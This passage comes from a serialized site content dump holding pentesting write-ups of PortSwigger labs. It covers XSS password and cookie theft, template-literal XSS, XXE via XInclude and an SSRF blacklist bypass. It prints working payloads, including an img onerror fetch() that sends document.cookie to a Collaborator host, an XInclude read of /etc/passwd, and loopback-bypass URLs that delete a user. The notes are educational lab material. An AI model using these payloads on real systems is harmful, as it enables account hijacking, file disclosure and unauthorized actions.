HTTP\u002F1.1\n","http",[37,11262,11263,11268,11273],{"__ignoreMap":87},[313,11264,11265],{"class":315,"line":316},[313,11266,11267],{},"GET \u002F?user=administratoradministrator HTTP\u002F1.1\n",[313,11269,11270],{"class":315,"line":88},[313,11271,11272],{},"GET \u002F?pwd=mba29ry6e4jzms6kv354 HTTP\u002F1.1\n",[313,11274,11275],{"class":315,"line":253},[313,11276,11277],{},"GET \u002F?user=administrator HTTP\u002F1.1\n",[15,11279,11280],{},"The first one is odd.",[15,11282,7590,11283,5227,11285,11288],{},[37,11284,4334],{},[37,11286,11287],{},"mba29ry6e4jzms6kv354"," — it works.",[361,11290,11291],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":87,"searchDepth":88,"depth":88,"links":11293},[11294,11295,11296,11300],{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":2111,"depth":88,"text":2112,"children":11297},[11298,11299],{"id":11112,"depth":253,"text":11113},{"id":11164,"depth":253,"text":11165},{"id":11251,"depth":88,"text":11252},"2026-04-29","Stealing browser-autofilled credentials through Stored XSS: fake inputs + onchange + Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-capture-passwords",{"title":11077,"description":11302},{"loc":11304},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-capture-passwords",[264,10385,11309,11310,269],"stored-xss","password-stealing","C1goxIwZcACstHHrtDmKrPCXGKLhKMEUjd-d8-Tjc0s",{"id":11313,"title":11314,"author":6,"body":11315,"date":11301,"description":11524,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":11525,"navigation":96,"notes":93,"path":11526,"psTitle":11343,"seo":11527,"sitemap":11528,"stem":11529,"tags":11530,"timeSpent":93,"type":106,"__hash__":11531},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-stealing-cookies.md","Stealing Cookies via Stored XSS (PortSwigger Lab)",{"type":8,"value":11316,"toc":11514},[11317,11321,11325,11331,11333,11352,11354,11365,11367,11371,11374,11432,11436,11443,11450,11489,11492,11496,11499,11505,11511],[11,11318,11320],{"id":11319},"stealing-cookies-via-stored-xss","Stealing Cookies via Stored XSS",[19,11322,11324],{"id":11323},"vulnerability","Vulnerability",[15,11326,11327,11330],{},[26,11328,11329],{},"Stored XSS"," is a vulnerability where user input is persisted on the server and later returned to other users as part of an HTML page without proper escaping. If the victim is an authenticated user, the attacker can capture their session cookie and hijack the account.",[19,11332,121],{"id":120},[15,11334,11335,11338,11339,11344,11347,11348,11351],{},[26,11336,11337],{},"Name:"," ",[125,11340,11343],{"href":11341,"rel":11342},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fexploiting\u002Flab-stealing-cookies",[129],"Exploiting cross-site scripting to steal cookies",[26,11345,11346],{},"Difficulty:"," Practitioner\n",[26,11349,11350],{},"Goal:"," Inject a payload into a comment, exfiltrate the administrator's cookie, and log in as them.",[19,11353,10515],{"id":10514},[15,11355,11356,11357,11360,11361,11364],{},"We probe every field of the comment form with the standard ",[37,11358,11359],{},"\u003C>\"'\\"," set. The ",[26,11362,11363],{},"Comment"," field is vulnerable — the characters are reflected unescaped. The other fields (name, email, website) are filtered.",[19,11366,2112],{"id":2111},[137,11368,11370],{"id":11369},"step-1-choosing-a-payload","Step 1 — Choosing a payload",[15,11372,11373],{},"A request to an external host from an event handler can be built in several ways:",[142,11375,11377],{"className":6269,"code":11376,"language":6271,"meta":87,"style":87},"fetch('URL?c=' + document.cookie)\nnew Image().src = 'URL?c=' + document.cookie\nthis.src = 'URL?c=' + document.cookie  \u002F\u002F reuse the tag itself\n",[37,11378,11379,11393,11413],{"__ignoreMap":87},[313,11380,11381,11383,11385,11388,11390],{"class":315,"line":316},[313,11382,3202],{"class":795},[313,11384,3205],{"class":748},[313,11386,11387],{"class":771},"'URL?c='",[313,11389,9157],{"class":761},[313,11391,11392],{"class":748}," document.cookie)\n",[313,11394,11395,11397,11400,11403,11405,11408,11410],{"class":315,"line":88},[313,11396,8203],{"class":761},[313,11398,11399],{"class":795}," Image",[313,11401,11402],{"class":748},"().src ",[313,11404,3037],{"class":761},[313,11406,11407],{"class":771}," 'URL?c='",[313,11409,9157],{"class":761},[313,11411,11412],{"class":748}," document.cookie\n",[313,11414,11415,11417,11420,11422,11424,11426,11429],{"class":315,"line":253},[313,11416,725],{"class":808},[313,11418,11419],{"class":748},".src ",[313,11421,3037],{"class":761},[313,11423,11407],{"class":771},[313,11425,9157],{"class":761},[313,11427,11428],{"class":748}," document.cookie  ",[313,11430,11431],{"class":7943},"\u002F\u002F reuse the tag itself\n",[137,11433,11435],{"id":11434},"step-2-burp-collaborator","Step 2 — Burp Collaborator",[15,11437,11438,11439,11442],{},"A self-hosted server didn't receive the request, so we use the built-in ",[26,11440,11441],{},"Burp Collaborator"," — it generates a one-off domain and logs every incoming request.",[15,11444,11445,11446,11449],{},"We get an address like ",[37,11447,11448],{},"zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com"," and craft the payload:",[142,11451,11453],{"className":3020,"code":11452,"language":3022,"meta":87,"style":87},"\u003Cimg src=\"x\" onerror=\"fetch('https:\u002F\u002Fzvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com\u002F?c='+document.cookie)\" \u002F>\n",[37,11454,11455],{"__ignoreMap":87},[313,11456,11457,11459,11461,11463,11465,11468,11470,11472,11474,11476,11479,11481,11484,11486],{"class":315,"line":316},[313,11458,749],{"class":748},[313,11460,3059],{"class":752},[313,11462,3062],{"class":795},[313,11464,3037],{"class":748},[313,11466,11467],{"class":771},"\"x\"",[313,11469,9566],{"class":795},[313,11471,3037],{"class":748},[313,11473,3809],{"class":771},[313,11475,3202],{"class":795},[313,11477,11478],{"class":771},"('https",[313,11480,212],{"class":3104},[313,11482,11483],{"class":7943},"\u002F\u002Fzvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com\u002F?c='+document.cookie)",[313,11485,3809],{"class":771},[313,11487,11488],{"class":748}," \u002F>\n",[15,11490,11491],{},"Submit it as a comment.",[137,11493,11495],{"id":11494},"step-3-capturing-the-cookie","Step 3 — Capturing the cookie",[15,11497,11498],{},"Collaborator records the incoming request:",[142,11500,11503],{"className":11501,"code":11502,"language":147},[145],"GET \u002F?c=secret=PZYFKXdyeAbf5tKe8hyPZjKqR97bGzl9;%20session=0Ppv65ScgeSsMYw0pa0gL6XcFtXLbEba HTTP\u002F1.1\n",[37,11504,11502],{"__ignoreMap":87},[15,11506,11507,11508,11510],{},"Take the ",[37,11509,3617],{}," value, paste it into our own cookies via DevTools — we're logged in as the administrator. Lab solved.",[361,11512,11513],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":87,"searchDepth":88,"depth":88,"links":11515},[11516,11517,11518,11519],{"id":11323,"depth":88,"text":11324},{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":2111,"depth":88,"text":2112,"children":11520},[11521,11522,11523],{"id":11369,"depth":253,"text":11370},{"id":11434,"depth":253,"text":11435},{"id":11494,"depth":253,"text":11495},"Exploiting Stored XSS in a comment form to steal a session cookie via Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-stealing-cookies",{"title":11314,"description":11524},{"loc":11526},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-stealing-cookies",[264,10385,11309,269],"ESVaP9lYgzg5Zt4_M0mgwY4iCNmdfqXMV_RdbNP0puw",{"id":11533,"title":11534,"author":6,"body":11535,"date":11576,"description":11577,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":11578,"navigation":96,"notes":93,"path":11579,"psTitle":11549,"seo":11580,"sitemap":11581,"stem":11582,"tags":11583,"timeSpent":93,"type":106,"__hash__":11586},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-template-literal-unicode-escaped.md","Reflected XSS in a Template Literal (PortSwigger Lab)",{"type":8,"value":11536,"toc":11571},[11537,11541,11543,11550,11552,11559,11561,11563,11569],[11,11538,11540],{"id":11539},"reflected-xss-in-a-template-literal","Reflected XSS in a Template Literal",[19,11542,121],{"id":120},[15,11544,11545,131],{},[125,11546,11549],{"href":11547,"rel":11548},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fcontexts\u002Flab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped",[129],"Reflected XSS into a JavaScript template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped",[19,11551,10515],{"id":10514},[15,11553,11554,11555,11558],{},"The search input string reflects into JavaScript code. Template literal syntax is used — injection via ",[37,11556,11557],{},"${}"," is possible.",[19,11560,2112],{"id":2111},[15,11562,2689],{},[142,11564,11567],{"className":11565,"code":11566,"language":147},[145],"${alert(25)}\n",[37,11568,11566],{"__ignoreMap":87},[15,11570,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":11572},[11573,11574,11575],{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":2111,"depth":88,"text":2112},"2026-04-28","Template literal injection via ${} in reflected JavaScript — payload: ${alert(25)}.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-template-literal-unicode-escaped",{"title":11534,"description":11577},{"loc":11579},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-template-literal-unicode-escaped",[264,10385,11584,11585,269],"template-literal","javascript","JiNpC_XgjoqaThG17cAUXB5u_VPatQ2Jlo7X8I845bo",{"id":11588,"title":11589,"author":6,"body":11590,"date":11773,"description":11774,"difficulty":257,"extension":94,"image":11757,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":11775,"navigation":96,"notes":93,"path":11776,"psTitle":11777,"seo":11778,"sitemap":11779,"stem":11780,"tags":11781,"timeSpent":93,"type":106,"__hash__":11783},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxxe-xinclude-attack.md","XXE via XInclude (PortSwigger Lab)",{"type":8,"value":11591,"toc":11766},[11592,11596,11598,11604,11617,11619,11640,11643,11645,11652,11655,11661,11664,11670,11673,11677,11680,11686,11688,11694,11700,11710,11712,11725,11745,11752,11758,11764],[11,11593,11595],{"id":11594},"xxe-via-xinclude","XXE via XInclude",[19,11597,11324],{"id":11323},[15,11599,11600,11603],{},[26,11601,11602],{},"XXE (XML External Entity)"," is a vulnerability in XML parsers that allows an attacker to read local files, perform SSRF, or in some environments achieve RCE — by injecting external entity declarations into the XML the server parses.",[15,11605,11606,11609,11610,11613,11614,11616],{},[26,11607,11608],{},"XInclude"," is a W3C standard for including content from external documents into XML. When an attacker cannot control the full XML document (and therefore cannot define a custom ",[37,11611,11612],{},"DOCTYPE","), XInclude provides an alternative injection path: a single element is enough, with no ",[37,11615,11612],{}," required.",[19,11618,121],{"id":120},[15,11620,11621,11338,11623,11628,11630,11632,11633,11635,11637,11638,524],{},[26,11622,11337],{},[125,11624,11627],{"href":11625,"rel":11626},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Flab-xinclude-attack",[129],"XXE via XInclude attack",[3546,11629],{},[26,11631,11346],{}," Practitioner",[3546,11634],{},[26,11636,11350],{}," Inject an XInclude statement to retrieve the contents of ",[37,11639,1501],{},[15,11641,11642],{},"The lab's stock check feature embeds user-supplied values inside a server-side XML document. Because the user doesn't control the entire XML document, a classic external entity attack isn't possible.",[19,11644,10515],{"id":10514},[15,11646,11647,11648,11651],{},"Open Burp Suite, enable the embedded browser, and navigate to the lab. On a product page, click ",[26,11649,11650],{},"Check stock"," with request interception enabled.",[15,11653,11654],{},"Burp captures a POST request:",[15,11656,11657],{},[3059,11658],{"alt":11659,"src":11660},"POST request with productId and storeId parameters captured in Burp","\u002Fimages\u002Fposts\u002Fportswigger-xxe-xinclude\u002F01-intercepted-request.png",[15,11662,11663],{},"The request body:",[142,11665,11668],{"className":11666,"code":11667,"language":147},[145],"productId=1&storeId=1\n",[37,11669,11667],{"__ignoreMap":87},[15,11671,11672],{},"The values look like plain form parameters, not XML. The application likely embeds them into an XML document internally before passing it to a parser.",[19,11674,11676],{"id":11675},"identifying-the-injection-point","Identifying the Injection Point",[15,11678,11679],{},"To confirm which parameter ends up inside XML, try injecting malformed XML syntax:",[142,11681,11684],{"className":11682,"code":11683,"language":147},[145],"productId=\u003Cfoo>&storeId=1\n",[37,11685,11683],{"__ignoreMap":87},[15,11687,511],{},[142,11689,11692],{"className":11690,"code":11691,"language":147},[145],"XML parser exited with error: org.xml.sax.SAXParseException; lineNumber: 3;\ncolumnNumber: 23; The element type \"foo\" must be terminated by the matching\nend-tag \"\u003C\u002Ffoo>\".\n",[37,11693,11691],{"__ignoreMap":87},[15,11695,11696],{},[3059,11697],{"alt":11698,"src":11699},"Server returns an XML parse error, confirming the parameter is embedded in XML","\u002Fimages\u002Fposts\u002Fportswigger-xxe-xinclude\u002F02-xml-error.png",[15,11701,11702,11703,11706,11707,11709],{},"The server-side XML parser returns a parse error — ",[37,11704,11705],{},"productId"," is definitely embedded inside XML before parsing. Classic XXE via ",[37,11708,11612],{}," is unavailable because we only control a fragment, not the full document.",[19,11711,2112],{"id":2111},[15,11713,11714,11715,11717,11718,11721,11722,11724],{},"Inject an XInclude payload into ",[37,11716,11705],{},". XInclude only requires a namespace declaration and an ",[37,11719,11720],{},"\u003Cxi:include>"," element — no ",[37,11723,11612],{}," needed:",[142,11726,11728],{"className":1948,"code":11727,"language":1950,"meta":87,"style":87},"\u003Cfoo xmlns:xi=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXInclude\">\n  \u003Cxi:include parse=\"text\" href=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\"\u002F>\n\u003C\u002Ffoo>\n",[37,11729,11730,11735,11740],{"__ignoreMap":87},[313,11731,11732],{"class":315,"line":316},[313,11733,11734],{},"\u003Cfoo xmlns:xi=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXInclude\">\n",[313,11736,11737],{"class":315,"line":88},[313,11738,11739],{},"  \u003Cxi:include parse=\"text\" href=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\"\u002F>\n",[313,11741,11742],{"class":315,"line":253},[313,11743,11744],{},"\u003C\u002Ffoo>\n",[15,11746,11747,11748,11751],{},"The ",[37,11749,11750],{},"parse=\"text\""," attribute instructs the parser to include the file contents as plain text rather than attempting to parse it as XML.",[15,11753,11754],{},[3059,11755],{"alt":11756,"src":11757},"Response containing the contents of \u002Fetc\u002Fpasswd — lab solved","\u002Fimages\u002Fposts\u002Fportswigger-xxe-xinclude\u002F03-passwd.png",[15,11759,11760,11761,11763],{},"The response contains the contents of ",[37,11762,1501],{},". Lab solved.",[361,11765,363],{},{"title":87,"searchDepth":88,"depth":88,"links":11767},[11768,11769,11770,11771,11772],{"id":11323,"depth":88,"text":11324},{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":11675,"depth":88,"text":11676},{"id":2111,"depth":88,"text":2112},"2026-04-18","Injecting an XInclude directive into a parameter that gets embedded in server-side XML — bypassing the inability to define a custom DTD.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxxe-xinclude-attack","Exploiting XInclude to retrieve files",{"title":11589,"description":11774},{"loc":11776},"notes\u002Fpentesting\u002Fportswigger\u002Fxxe-xinclude-attack",[264,2023,11782,1950,269],"xinclude","thVZ14h0uUOaCnZbx85KHEd_mOnqlF_C7BZDEKeraCI",{"id":11785,"title":11786,"author":6,"body":11787,"date":12179,"description":12180,"difficulty":257,"extension":94,"image":12001,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":12181,"navigation":96,"notes":93,"path":12182,"psTitle":11827,"seo":12183,"sitemap":12184,"stem":12185,"tags":12186,"timeSpent":93,"type":106,"__hash__":12188},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fssrf-blacklist-filter-bypass.md","SSRF with Blacklist-Based Input Filter (PortSwigger Lab)",{"type":8,"value":11788,"toc":12168},[11789,11793,11795,11801,11817,11819,11843,11846,11848,11854,11856,11862,11865,11871,11874,11880,11890,11894,11898,11901,11907,11909,11915,11921,11924,11928,11935,11963,11967,11973,11983,11987,11990,11996,12002,12016,12018,12021,12135,12141,12148,12154,12160,12166],[11,11790,11792],{"id":11791},"ssrf-with-blacklist-based-input-filter","SSRF with Blacklist-Based Input Filter",[19,11794,11324],{"id":11323},[15,11796,11797,11800],{},[26,11798,11799],{},"SSRF (Server-Side Request Forgery)"," is a vulnerability that lets an attacker make the server issue HTTP requests to arbitrary targets — including internal resources unreachable from the outside.",[15,11802,11803,11806,11807,4244,11810,11813,11814,11816],{},[26,11804,11805],{},"Blacklist-based filtering"," is a common mitigation attempt: the server checks whether the URL contains forbidden strings like ",[37,11808,11809],{},"localhost",[37,11811,11812],{},"127.0.0.1",", or ",[37,11815,4328],{},", and blocks the request on a match. This approach is fundamentally flawed — there are too many equivalent representations of any given address or path to enumerate them all in advance.",[19,11818,121],{"id":120},[15,11820,11821,11338,11823,11828,11830,11632,11832,11834,11836,11837,11840,11841,524],{},[26,11822,11337],{},[125,11824,11827],{"href":11825,"rel":11826},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fssrf\u002Flab-ssrf-with-blacklist-filter",[129],"SSRF with blacklist-based input filter",[3546,11829],{},[26,11831,11346],{},[3546,11833],{},[26,11835,11350],{}," Modify the URL in the stock-check parameter so the server requests ",[37,11838,11839],{},"http:\u002F\u002Flocalhost\u002Fadmin"," and deletes the user ",[37,11842,2505],{},[15,11844,11845],{},"The lab states the developer deployed two weak anti-SSRF defenses based on a blacklist.",[19,11847,10515],{"id":10514},[15,11849,11850,11851,11853],{},"Open Burp Suite, launch the embedded browser, and navigate to the lab. On a product page, find the ",[26,11852,11650],{}," button. Enable request interception and click the button.",[15,11855,11654],{},[15,11857,11858],{},[3059,11859],{"alt":11860,"src":11861},"POST request with stockApi parameter in Burp Repeater","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F01-stock-request.jpg",[15,11863,11864],{},"The request body contains:",[142,11866,11869],{"className":11867,"code":11868,"language":147},[145],"stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1\n",[37,11870,11868],{"__ignoreMap":87},[15,11872,11873],{},"URL-decoded:",[142,11875,11878],{"className":11876,"code":11877,"language":147},[145],"stockApi=http:\u002F\u002Fstock.weliketoshop.net:8080\u002Fproduct\u002Fstock\u002Fcheck?productId=1&storeId=1\n",[37,11879,11877],{"__ignoreMap":87},[15,11881,11882,11883,5227,11886,11889],{},"The URL is passed as a plain parameter — a potential SSRF injection point. Send the request to Repeater (",[37,11884,11885],{},"Cmd+R",[37,11887,11888],{},"Ctrl+R",").",[19,11891,11893],{"id":11892},"filter-bypass","Filter Bypass",[137,11895,11897],{"id":11896},"step-1-direct-request-to-admin","Step 1 — Direct request to \u002Fadmin",[15,11899,11900],{},"First attempt, no obfuscation:",[142,11902,11905],{"className":11903,"code":11904,"language":147},[145],"stockApi=http:\u002F\u002Flocalhost\u002Fadmin\n",[37,11906,11904],{"__ignoreMap":87},[15,11908,511],{},[142,11910,11913],{"className":11911,"code":11912,"language":147},[145],"External stock check blocked for security reasons\n",[37,11914,11912],{"__ignoreMap":87},[15,11916,11917],{},[3059,11918],{"alt":11919,"src":11920},"Server response blocking the direct localhost\u002Fadmin request","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F02-blocked.jpg",[15,11922,11923],{},"The filter is active. Let's figure out what exactly it checks.",[137,11925,11927],{"id":11926},"step-2-bypass-the-ip-check-1271-instead-of-localhost","Step 2 — Bypass the IP check: 127.1 instead of localhost",[15,11929,11930,8649,11932,11934],{},[37,11931,11809],{},[37,11933,11812],{}," are not the only ways to address the loopback interface. Alternative representations include:",[30,11936,11937,11943,11951,11957],{},[33,11938,11939,11942],{},[37,11940,11941],{},"127.1"," — shortened form (IPv4 allows omitting zero octets)",[33,11944,11945,11948,11949],{},[37,11946,11947],{},"2130706433"," — decimal representation of ",[37,11950,11812],{},[33,11952,11953,11956],{},[37,11954,11955],{},"017700000001"," — octal",[33,11958,11959,11962],{},[37,11960,11961],{},"0x7f000001"," — hexadecimal",[15,11964,7590,11965,212],{},[37,11966,11941],{},[142,11968,11971],{"className":11969,"code":11970,"language":147},[145],"stockApi=http:\u002F\u002F127.1\u002Fadmin\n",[37,11972,11970],{"__ignoreMap":87},[15,11974,11975,11976,11979,11980,11982],{},"Still ",[37,11977,11978],{},"External stock check blocked for security reasons",". The IP part passes the filter, but the string ",[37,11981,4328],{}," in the path is still blocked.",[137,11984,11986],{"id":11985},"step-3-bypass-the-path-check-admin-instead-of-admin","Step 3 — Bypass the path check: ADMIN instead of admin",[15,11988,11989],{},"If the filter compares strings case-sensitively, changing the case bypasses the check:",[142,11991,11994],{"className":11992,"code":11993,"language":147},[145],"stockApi=http:\u002F\u002F127.1\u002FADMIN\n",[37,11995,11993],{"__ignoreMap":87},[15,11997,11998],{},[3059,11999],{"alt":12000,"src":12001},"Request with 127.1\u002FADMIN returns 200 — both filters bypassed","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F03-bypass-200.jpg",[15,12003,12004,12005,12008,12009,12011,12012,12015],{},"Response: ",[37,12006,12007],{},"200 OK",". Both filters are bypassed — ",[37,12010,11941],{}," passes the IP check, ",[37,12013,12014],{},"ADMIN"," passes the string check.",[19,12017,2112],{"id":2111},[15,12019,12020],{},"The response body contains the admin panel HTML with a user list:",[142,12022,12024],{"className":3020,"code":12023,"language":3022,"meta":87,"style":87},"\u003Ch1>Users\u003C\u002Fh1>\n\u003Cdiv>\n    \u003Cspan>wiener - \u003C\u002Fspan>\n    \u003Ca href=\"\u002Fadmin\u002Fdelete?username=wiener\">Delete\u003C\u002Fa>\n\u003C\u002Fdiv>\n\u003Cdiv>\n    \u003Cspan>carlos - \u003C\u002Fspan>\n    \u003Ca href=\"\u002Fadmin\u002Fdelete?username=carlos\">Delete\u003C\u002Fa>\n\u003C\u002Fdiv>\n",[37,12025,12026,12039,12047,12060,12080,12088,12096,12109,12127],{"__ignoreMap":87},[313,12027,12028,12030,12032,12035,12037],{"class":315,"line":316},[313,12029,749],{"class":748},[313,12031,11],{"class":752},[313,12033,12034],{"class":748},">Users\u003C\u002F",[313,12036,11],{"class":752},[313,12038,756],{"class":748},[313,12040,12041,12043,12045],{"class":315,"line":88},[313,12042,749],{"class":748},[313,12044,5097],{"class":752},[313,12046,756],{"class":748},[313,12048,12049,12051,12053,12056,12058],{"class":315,"line":253},[313,12050,3047],{"class":748},[313,12052,313],{"class":752},[313,12054,12055],{"class":748},">wiener - \u003C\u002F",[313,12057,313],{"class":752},[313,12059,756],{"class":748},[313,12061,12062,12064,12066,12068,12070,12073,12076,12078],{"class":315,"line":780},[313,12063,3047],{"class":748},[313,12065,125],{"class":752},[313,12067,5927],{"class":795},[313,12069,3037],{"class":748},[313,12071,12072],{"class":771},"\"\u002Fadmin\u002Fdelete?username=wiener\"",[313,12074,12075],{"class":748},">Delete\u003C\u002F",[313,12077,125],{"class":752},[313,12079,756],{"class":748},[313,12081,12082,12084,12086],{"class":315,"line":792},[313,12083,946],{"class":748},[313,12085,5097],{"class":752},[313,12087,756],{"class":748},[313,12089,12090,12092,12094],{"class":315,"line":802},[313,12091,749],{"class":748},[313,12093,5097],{"class":752},[313,12095,756],{"class":748},[313,12097,12098,12100,12102,12105,12107],{"class":315,"line":821},[313,12099,3047],{"class":748},[313,12101,313],{"class":752},[313,12103,12104],{"class":748},">carlos - \u003C\u002F",[313,12106,313],{"class":752},[313,12108,756],{"class":748},[313,12110,12111,12113,12115,12117,12119,12121,12123,12125],{"class":315,"line":833},[313,12112,3047],{"class":748},[313,12114,125],{"class":752},[313,12116,5927],{"class":795},[313,12118,3037],{"class":748},[313,12120,5932],{"class":771},[313,12122,12075],{"class":748},[313,12124,125],{"class":752},[313,12126,756],{"class":748},[313,12128,12129,12131,12133],{"class":315,"line":842},[313,12130,946],{"class":748},[313,12132,5097],{"class":752},[313,12134,756],{"class":748},[15,12136,12137],{},[3059,12138],{"alt":12139,"src":12140},"Admin panel HTML response with delete links for each user","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F04-admin-html.jpg",[15,12142,12143,12144,12147],{},"Deleting a user requires a GET request to ",[37,12145,12146],{},"\u002Fadmin\u002Fdelete?username=carlos",". Update the payload:",[142,12149,12152],{"className":12150,"code":12151,"language":147},[145],"stockApi=http:\u002F\u002F127.1\u002FADMIN\u002Fdelete?username=carlos\n",[37,12153,12151],{"__ignoreMap":87},[15,12155,12156],{},[3059,12157],{"alt":12158,"src":12159},"Final request — 302 response, lab solved","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F05-302-solved.jpg",[15,12161,12004,12162,12165],{},[37,12163,12164],{},"302 Found",". Exploitation successful — lab solved.",[361,12167,4155],{},{"title":87,"searchDepth":88,"depth":88,"links":12169},[12170,12171,12172,12173,12178],{"id":11323,"depth":88,"text":11324},{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":11892,"depth":88,"text":11893,"children":12174},[12175,12176,12177],{"id":11896,"depth":253,"text":11897},{"id":11926,"depth":253,"text":11927},{"id":11985,"depth":253,"text":11986},{"id":2111,"depth":88,"text":2112},"2026-04-14","Bypassing two blacklist SSRF defenses using an alternative IP representation and case variation in the URL path — step by step through Burp Repeater.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fssrf-blacklist-filter-bypass",{"title":11786,"description":12180},{"loc":12182},"notes\u002Fpentesting\u002Fportswigger\u002Fssrf-blacklist-filter-bypass",[264,12187,11892,269],"ssrf","2Iycos3i58QCf0a2f_kqTw9lzhBLCRzinuMMAGSeHs8",{"id":12190,"title":12191,"author":6,"body":12192,"date":12724,"description":12725,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":12726,"navigation":96,"notes":93,"path":12727,"psTitle":12235,"seo":12728,"sitemap":12729,"stem":12730,"tags":12731,"timeSpent":93,"type":106,"__hash__":12734},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)",{"type":8,"value":12193,"toc":12714},[12194,12198,12200,12206,12225,12227,12245,12247,12254,12257,12263,12270,12273,12304,12307,12309,12313,12320,12329,12339,12343,12349,12364,12367,12371,12378,12697,12703,12712],[11,12195,12197],{"id":12196},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional 